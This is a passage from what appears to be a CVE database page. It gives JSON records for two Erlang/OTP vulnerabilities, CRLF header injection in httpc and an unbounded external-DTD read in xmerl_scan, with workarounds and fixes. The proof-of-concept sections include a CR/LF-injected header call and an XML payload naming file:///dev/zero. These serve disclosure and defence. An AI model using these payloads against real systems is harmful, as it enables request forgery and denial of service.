                  "value": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027) vulnerability in Erlang OTP inets (`httpc` module) allows HTTP Request Splitting.\n\n`httpc` writes request header names and values to the wire without neutralizing CR, LF or NUL characters. On the default path `http_request:mk_key_value_str/2`, and with the `headers_as_is` option `httpc_request:http_headers/2`, build each header line by plain concatenation of the name, `\": \"`, the value and CRLF. A CR/LF in a name or value ends the header line early. An attacker who controls data that an application puts into a header passed to `httpc:request/4,5` can add or override request headers, or append a second request on the same connection.\n\nApplications that pass only constant or validated header names and values are not affected. The request line is not affected, because `uri_string` rejects URLs that contain raw CR/LF.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u00a017.0, corresponding to inets before 5.10, is affected is unknown."
                }
              ],
              "value": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027) vulnerability in Erlang OTP inets (httpc module) allows HTTP Request Splitting.\n\nhttpc writes request header names and values to the wire without neutralizing CR, LF or NUL characters. On the default path http_request:mk_key_value_str/2, and with the headers_as_is option httpc_request:http_headers/2, build each header line by plain concatenation of the name, \": \", the value and CRLF. A CR/LF in a name or value ends the header line early. An attacker who controls data that an application puts into a header passed to httpc:request/4,5 can add or override request headers, or append a second request on the same connection.\n\nApplications that pass only constant or validated header names and values are not affected. The request line is not affected, because uri_string rejects URLs that contain raw CR/LF.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to inets from 5.10 before 9.3.2.9, 9.6.2.5, and 9.8.2. Whether OTP before OTP\u00a017.0, corresponding to inets before 5.10, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-105",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who controls data in a request header can add or override headers such as \u003ccode\u003eAuthorization\u003c/code\u003e, \u003ccode\u003eCookie\u003c/code\u003e, \u003ccode\u003eHost\u003c/code\u003e or \u003ccode\u003eX-Forwarded-For\u003c/code\u003e, which may affect authentication, routing or caching decisions on the target server or on intermediaries. With an empty line, the attacker can send a second, attacker-chosen request to the target server over the connection that the application opened.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who controls data in a request header can add or override headers such as `Authorization`, `Cookie`, `Host` or `X-Forwarded-For`, which may affect authentication, routing or caching decisions on the target server or on intermediaries. With an empty line, the attacker can send a second, attacker-chosen request to the target server over the connection that the application opened."
                    }
                  ],
                  "value": "An attacker who controls data in a request header can add or override headers such as Authorization, Cookie, Host or X-Forwarded-For, which may affect authentication, routing or caching decisions on the target server or on intermediaries. With an empty line, the attacker can send a second, attacker-chosen request to the target server over the connection that the application opened."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-113",
                  "description": "CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:05:06.420Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "CRLF injection in httpc request headers",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-84cc-vh37-jqpf"
            },
            {
              "name": "EEF CNA record for CVE-2026-116295",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-116295.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-116295",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-116295"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit a3197fa in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/a3197fab19232e370d940cb187fa3201b2c9bd48"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "CRLF injection in httpc request headers",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eValidate request header names and values before you pass them to \u003ccode\u003ehttpc:request/4,5\u003c/code\u003e. Reject or replace any name or value that contains CR (\u003ccode\u003e\\r\u003c/code\u003e), LF (\u003ccode\u003e\\n\u003c/code\u003e) or NUL (\u003ccode\u003e\\0\u003c/code\u003e), and accept only header names made of RFC 9110 \u003ccode\u003etoken\u003c/code\u003e characters. Where the application forwards headers from another source, use a fixed allowlist of header names.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Validate request header names and values before you pass them to `httpc:request/4,5`. Reject or replace any name or value that contains CR (`\\r`), LF (`\\n`) or NUL (`\\0`), and accept only header names made of RFC 9110 `token` characters. Where the application forwards headers from another source, use a fixed allowlist of header names."
                }
              ],
              "value": "Validate request header names and values before you pass them to httpc:request/4,5. Reject or replace any name or value that contains CR (\\r), LF (\\n) or NUL (\\0), and accept only header names made of RFC 9110 token characters. Where the application forwards headers from another source, use a fixed allowlist of header names."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eStart a TCP listener that prints the bytes it receives, for example on \u003ccode\u003elocalhost:4444\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003ehttpc:request(get, {\"http://localhost:4444\", [{\"a: b\\r\\nc\", \"d\\r\\ne: f\"}]}, [], [])\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe listener receives three header lines (\u003ccode\u003ea: b\u003c/code\u003e, \u003ccode\u003ec: d\u003c/code\u003e, \u003ccode\u003ee: f\u003c/code\u003e) instead of one.\u003c/li\u003e\n\u003cli\u003eRepeat with \u003ccode\u003e[{headers_as_is, true}]\u003c/code\u003e as the fourth argument and an explicit \u003ccode\u003ehost\u003c/code\u003e header. The same three lines arrive.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Start a TCP listener that prints the bytes it receives, for example on `localhost:4444`.\n2. Call `httpc:request(get, {\"http://localhost:4444\", [{\"a: b\\r\\nc\", \"d\\r\\ne: f\"}]}, [], [])`.\n3. The listener receives three header lines (`a: b`, `c: d`, `e: f`) instead of one.\n4. Repeat with `[{headers_as_is, true}]` as the fourth argument and an explicit `host` header. The same three lines arrive."
                }
              ],
              "value": "* Start a TCP listener that prints the bytes it receives, for example on localhost:4444.\n* Call httpc:request(get, {\"http://localhost:4444\", [{\"a: b\\r\\nc\", \"d\\r\\ne: f\"}]}, [], []).\n* The listener receives three header lines (a: b, c: d, e: f) instead of one.\n* Repeat with [{headers_as_is, true}] as the fourth argument and an explicit host header. The same three lines arrive."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-116295",
        "datePublished": "2026-11-24T15:05:06.420Z",
        "dateReserved": "2026-10-26T17:15:01.940Z",
        "dateUpdated": "2026-11-24T15:05:06.420Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-119443 (GCVE-0-2026-119443)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:02 – Updated: 2026-11-24 15:02
    VLAI
    Title
    XML Scan Untrusted DTD Which May Result in out of Memory Crash
    Summary
    Improper Restriction of XML External Entity Reference vulnerability in xmerl_scan in Erlang OTP xmerl allows an attacker to exhaust the memory of the Erlang VM via an XML document that names an external DTD. With default options, xmerl_scan:string/1,2 and xmerl_scan:file/1,2 fetch and parse the external DTD named in a <!DOCTYPE root SYSTEM "..."> declaration. fetch_DTD/2 in lib/xmerl/src/xmerl_scan.erl passes every system identifier to the default fetch function, which maps file: and absolute URIs to local paths, and int_file_decl/3 then reads the whole file with file:read_file/1. This happens whether or not validation is enabled, and the allow_entities option, which is false by default since OTP 27, only governs <!ENTITY> declarations and does not stop the fetch. A document naming file:///dev/zero makes the node read without bound until the operating system kills it for lack of memory, and the parse never returns. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to xmerl from 1.3.7 before 2.1.3.4, 2.1.9.1, and 2.2.1. Whether OTP before OTP 17.0, corresponding to xmerl before 1.3.7, is affected is unknown.
    CWE
    • CWE-611 - Improper Restriction of XML External Entity Reference
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 1.3.7 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < * (git)
    Unaffected: 4d5dc15b3ba923ad9d939c560749239289ba41f3 , < * (git)
    Unaffected: 6723ad37c5ea8febb59b05e95f8d1343f2c2fb7d , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:02
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "xmerl_scan"
              ],
              "packageName": "xmerl",
              "packageURL": "pkg:otp/xmerl?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "src/xmerl_scan.erl"
              ],
              "programRoutines": [
                {
                  "name": "xmerl_scan:string/1"
                },
                {
                  "name": "xmerl_scan:string/2"
                },
                {
                  "name": "xmerl_scan:file/1"
                },
                {
                  "name": "xmerl_scan:file/2"
                },
                {
                  "name": "xmerl_scan:fetch_DTD/2"
                },
                {
                  "name": "xmerl_scan:fetch_and_parse/3"
                },
                {
                  "name": "xmerl_scan:fetch_URI/2"
                },
                {
                  "name": "xmerl_scan:int_file_decl/3"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "2.1.3.4",
                      "status": "unaffected"
                    },
                    {
                      "at": "2.1.9.1",
                      "status": "unaffected"
                    },
                    {
                      "at": "2.2.1",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "1.3.7",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "xmerl_scan"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "lib/xmerl/src/xmerl_scan.erl"
              ],
              "programRoutines": [
                {
                  "name": "xmerl_scan:string/1"
                },
                {
                  "name": "xmerl_scan:string/2"
                },
                {
                  "name": "xmerl_scan:file/1"
                },
                {
                  "name": "xmerl_scan:file/2"
                },
                {
                  "name": "xmerl_scan:fetch_DTD/2"
                },
                {
                  "name": "xmerl_scan:fetch_and_parse/3"
                },
                {
                  "name": "xmerl_scan:fetch_URI/2"
                },
                {
                  "name": "xmerl_scan:int_file_decl/3"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "xmerl_scan"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "lib/xmerl/src/xmerl_scan.erl"
              ],
              "programRoutines": [
                {
                  "name": "xmerl_scan:string/1"
                },
                {
                  "name": "xmerl_scan:string/2"
                },
                {
                  "name": "xmerl_scan:file/1"
                },
                {
                  "name": "xmerl_scan:file/2"
                },
                {
                  "name": "xmerl_scan:fetch_DTD/2"
                },
                {
                  "name": "xmerl_scan:fetch_and_parse/3"
                },
                {
                  "name": "xmerl_scan:fetch_URI/2"
                },
                {
                  "name": "xmerl_scan:int_file_decl/3"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "4d5dc15b3ba923ad9d939c560749239289ba41f3",
                      "status": "unaffected"
                    },
                    {
                      "at": "6723ad37c5ea8febb59b05e95f8d1343f2c2fb7d",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "4d5dc15b3ba923ad9d939c560749239289ba41f3",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "6723ad37c5ea8febb59b05e95f8d1343f2c2fb7d",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Neil Berkman / Xuku LLC"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Neil Berkman / Xuku LLC"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Ingela Andin"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Lars Thors\u00e9n"
            }
          ],
          "dateAssigned": "2026-11-05T14:26:31.000Z",
          "datePublic": "2026-11-24T15:02:08.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Restriction of XML External Entity Reference vulnerability in \u003ccode\u003exmerl_scan\u003c/code\u003e in Erlang OTP xmerl allows an attacker to exhaust the memory of the Erlang VM via an XML document that names an external DTD.\u003c/p\u003e\n\u003cp\u003eWith default options, \u003ccode\u003exmerl_scan:string/1,2\u003c/code\u003e and \u003ccode\u003exmerl_scan:file/1,2\u003c/code\u003e fetch and parse the external DTD named in a \u003ccode\u003e\u0026lt;!DOCTYPE root SYSTEM \"...\"\u0026gt;\u003c/code\u003e declaration. \u003ccode\u003efetch_DTD/2\u003c/code\u003e in \u003ccode\u003elib/xmerl/src/xmerl_scan.erl\u003c/code\u003e passes every system identifier to the default fetch function, which maps \u003ccode\u003efile:\u003c/code\u003e and absolute URIs to local paths, and \u003ccode\u003eint_file_decl/3\u003c/code\u003e then reads the whole file with \u003ccode\u003efile:read_file/1\u003c/code\u003e. This happens whether or not validation is enabled, and the \u003ccode\u003eallow_entities\u003c/code\u003e option, which is \u003ccode\u003efalse\u003c/code\u003e by default since OTP 27, only governs \u003ccode\u003e\u0026lt;!ENTITY\u0026gt;\u003c/code\u003e declarations and does not stop the fetch. A document naming \u003ccode\u003efile:///dev/zero\u003c/code\u003e makes the node read without bound until the operating system kills it for lack of memory, and the parse never returns.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to xmerl from 1.3.7 before 2.1.3.4, 2.1.9.1, and 2.2.1. Whether OTP before OTP\u0026nbsp;17.0, corresponding to xmerl before 1.3.7, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Restriction of XML External Entity Reference vulnerability in `xmerl_scan` in Erlang OTP xmerl allows an attacker to exhaust the memory of the Erlang VM via an XML document that names an external DTD.\n\nWith default options, `xmerl_scan:string/1,2` and `xmerl_scan:file/1,2` fetch and parse the external DTD named in a `\u003c!DOCTYPE root SYSTEM \"...\"\u003e` declaration. `fetch_DTD/2` in `lib/xmerl/src/xmerl_scan.erl` passes every system identifier to the default fetch function, which maps `file:` and absolute URIs to local paths, and `int_file_decl/3` then reads the whole file with `file:read_file/1`. This happens whether or not validation is enabled, and the `allow_entities` option, which is `false` by default since OTP 27, only governs `\u003c!ENTITY\u003e` declarations and does not stop the fetch. A document naming `file:///dev/zero` makes the node read without bound until the operating system kills it for lack of memory, and the parse never returns.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to xmerl from 1.3.7 before 2.1.3.4, 2.1.9.1, and 2.2.1. Whether OTP before OTP\u00a017.0, corresponding to xmerl before 1.3.7, is affected is unknown."
                }
              ],
              "value": "Improper Restriction of XML External Entity Reference vulnerability in xmerl_scan in Erlang OTP xmerl allows an attacker to exhaust the memory of the Erlang VM via an XML document that names an external DTD.\n\nWith default options, xmerl_scan:string/1,2 and xmerl_scan:file/1,2 fetch and parse the external DTD named in a \u003c!DOCTYPE root SYSTEM \"...\"\u003e declaration. fetch_DTD/2 in lib/xmerl/src/xmerl_scan.erl passes every system identifier to the default fetch function, which maps file: and absolute URIs to local paths, and int_file_decl/3 then reads the whole file with file:read_file/1. This happens whether or not validation is enabled, and the allow_entities option, which is false by default since OTP 27, only governs \u003c!ENTITY\u003e declarations and does not stop the fetch. A document naming file:///dev/zero makes the node read without bound until the operating system kills it for lack of memory, and the parse never returns.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to xmerl from 1.3.7 before 2.1.3.4, 2.1.9.1, and 2.2.1. Whether OTP before OTP\u00a017.0, corresponding to xmerl before 1.3.7, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-201",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can supply an XML document to an application that parses it with \u003ccode\u003exmerl_scan\u003c/code\u003e using default options makes the node read an unbounded local resource such as \u003ccode\u003e/dev/zero\u003c/code\u003e. The read exhausts memory and takes the node down for every user of the application.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can supply an XML document to an application that parses it with `xmerl_scan` using default options makes the node read an unbounded local resource such as `/dev/zero`. The read exhausts memory and takes the node down for every user of the application."
                    }
                  ],
                  "value": "An attacker who can supply an XML document to an application that parses it with xmerl_scan using default options makes the node read an unbounded local resource such as /dev/zero. The read exhausts memory and takes the node down for every user of the application."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "LOCAL",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-611",
                  "description": "CWE-611 Improper Restriction of XML External Entity Reference",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:02:12.313Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "XML Scan Untrusted DTD Which May Result in out of Memory Crash",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-j6vp-frc3-9g33"
            },
            {
              "name": "EEF CNA record for CVE-2026-119443",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-119443.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-119443",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-119443"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit 4d5dc15 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/4d5dc15b3ba923ad9d939c560749239289ba41f3"
            },
            {
              "name": "Fix commit 6723ad3 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/6723ad37c5ea8febb59b05e95f8d1343f2c2fb7d"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "XML Scan Untrusted DTD Which May Result in out of Memory Crash",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePass a \u003ccode\u003efetch_fun\u003c/code\u003e that refuses external resources in the option list of \u003ccode\u003exmerl_scan:string/2\u003c/code\u003e or \u003ccode\u003exmerl_scan:file/2\u003c/code\u003e, for example \u003ccode\u003e{fetch_fun, fun(_ExtSpec, State) -\u0026gt; {ok, not_fetched, State} end}\u003c/code\u003e. The scanner then continues without reading or parsing the external DTD.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Pass a `fetch_fun` that refuses external resources in the option list of `xmerl_scan:string/2` or `xmerl_scan:file/2`, for example `{fetch_fun, fun(_ExtSpec, State) -\u003e {ok, not_fetched, State} end}`. The scanner then continues without reading or parsing the external DTD."
                }
              ],
              "value": "Pass a fetch_fun that refuses external resources in the option list of xmerl_scan:string/2 or xmerl_scan:file/2, for example {fetch_fun, fun(_ExtSpec, State) -\u003e {ok, not_fetched, State} end}. The scanner then continues without reading or parsing the external DTD."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eBuild an XML document whose DOCTYPE names an unbounded local resource, for example \u003ccode\u003e\u0026lt;?xml version=\"1.0\"?\u0026gt;\u0026lt;!DOCTYPE root SYSTEM \"file:///dev/zero\"\u0026gt;\u0026lt;root/\u0026gt;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eParse it with \u003ccode\u003exmerl_scan:string/1\u003c/code\u003e with default options on a Unix host.\u003c/li\u003e\n\u003cli\u003eThe call never returns. The reporter observed binary memory reaching 8, 16, 32 and 64 GB within five seconds on OTP 29.1.2, after which the node was killed for lack of memory.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Build an XML document whose DOCTYPE names an unbounded local resource, for example `\u003c?xml version=\"1.0\"?\u003e\u003c!DOCTYPE root SYSTEM \"file:///dev/zero\"\u003e\u003croot/\u003e`.\n2. Parse it with `xmerl_scan:string/1` with default options on a Unix host.\n3. The call never returns. The reporter observed binary memory reaching 8, 16, 32 and 64 GB within five seconds on OTP 29.1.2, after which the node was killed for lack of memory."
                }
              ],
              "value": "* Build an XML document whose DOCTYPE names an unbounded local resource, for example \u003c?xml version=\"1.0\"?\u003e\u003c!DOCTYPE root SYSTEM \"file:///dev/zero\"\u003e\u003croot/\u003e.\n* Parse it with xmerl_scan:string/1 with default options on a Unix host.\n* The call never returns. The reporter observed binary memory reaching 8, 16, 32 and 64 GB within five seconds on OTP 29.1.2, after which the node was killed for lack of memory."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. DOCTYPE handling.\u003c/strong\u003e \u003ccode\u003escan_doctype2/3\u003c/code\u003e and \u003ccode\u003escan_doctype3/3\u003c/code\u003e in \u003ccode\u003elib/xmerl/src/xmerl_scan.erl\u003c/code\u003e call \u003ccode\u003efetch_DTD/2\u003c/code\u003e once the \u003ccode\u003e\u0026lt;!DOCTYPE\u0026gt;\u003c/code\u003e declaration ends. \u003ccode\u003efetch_DTD/2\u003c/code\u003e has no clause that skips the fetch when validation is off (that clause is commented out), so every system identifier reaches \u003ccode\u003efetch_and_parse/3\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Default fetch.\u003c/strong\u003e \u003ccode\u003efetch_and_parse/3\u003c/code\u003e calls the scanner\u0027s \u003ccode\u003efetch_fun\u003c/code\u003e, which defaults to \u003ccode\u003efetch/2\u003c/code\u003e. Its helper \u003ccode\u003efetch_URI/2\u003c/code\u003e treats the identifier as a filename: a \u003ccode\u003efile:\u003c/code\u003e URI or an absolute path resolves to that local path, and a relative name resolves against \u003ccode\u003exmlbase\u003c/code\u003e. Only \u003ccode\u003ehttp:\u003c/code\u003e identifiers are left unread.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Unbounded read.\u003c/strong\u003e The returned \u003ccode\u003e{file, Path}\u003c/code\u003e goes to \u003ccode\u003eint_file_decl/3\u003c/code\u003e, which calls \u003ccode\u003efile:read_file/1\u003c/code\u003e on the path and converts the result to a list. \u003ccode\u003efile:read_file/1\u003c/code\u003e reads until end of file, so a device such as \u003ccode\u003e/dev/zero\u003c/code\u003e never returns and the binary heap grows until the operating system kills the VM. The \u003ccode\u003eallow_entities\u003c/code\u003e default of \u003ccode\u003efalse\u003c/code\u003e does not help: it only rejects \u003ccode\u003e\u0026lt;!ENTITY\u0026gt;\u003c/code\u003e declarations in \u003ccode\u003escan_markup_decl/2\u003c/code\u003e, which runs after the file has been read.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
